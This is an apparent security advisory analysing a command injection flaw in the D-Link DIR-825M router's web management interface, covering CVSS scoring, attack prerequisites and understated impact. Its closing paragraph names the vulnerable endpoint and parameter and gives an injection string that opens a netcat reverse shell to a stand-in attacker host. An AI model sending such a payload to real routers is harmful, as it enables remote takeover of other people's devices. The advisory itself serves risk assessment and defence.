D-Link DIR-825M CVE-2026-82595

Exploitation requires low-privilege authentication to the DIR-825M web management interface (confirmed by PR:L in the CVSS 4.0 vector) - this is not an unauthenticated vulnerability. The attacker must be able to reach the router's HTTP management port over the network (AV:N); if management is restricted to the LAN, exploitation is limited to local network access. No special configuration beyond a functional web management interface is required. Default or weak credentials on SOHO routers substantially lower the effective barrier to authentication. There is no required user interaction and no non-default configuration needed once authenticated.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N) confirms network-reachable exploitation with no attack complexity and no user interaction, requiring only low-privilege authentication - a realistic bar for SOHO routers where default credentials remain common. However, the reported impact metrics (VC:L/VI:L/VA:L/SC:L/SI:L/SA:L) are inconsistent with what command injection in a system execution endpoint actually achieves; full OS compromise with persistent access is the realistic outcome, suggesting the reporter significantly understated impact. The E:P threat modifier confirms a public PoC exists. EPSS data is absent. This is not in CISA KEV, but the accessible attack surface (router web UI), low-complexity exploitation, and public PoC create a meaningful real-world risk profile for anyone exposing the management interface to untrusted networks - particularly given the SOHO consumer context where patching rates are historically very low.

An attacker who has obtained low-privilege credentials for the DIR-825M web interface (e.g., via credential stuffing, default credentials, or prior access) submits a crafted POST request to /boafrm/formSysCmd with a sysCmd parameter containing shell injection sequences such as ; id; nc attacker.com 4444 -e /bin/sh. The sub_456CF4 function passes the value unsanitized to a system call, executing the injected command with router firmware-level privileges. A public PoC demonstrating this technique has been published to GitHub.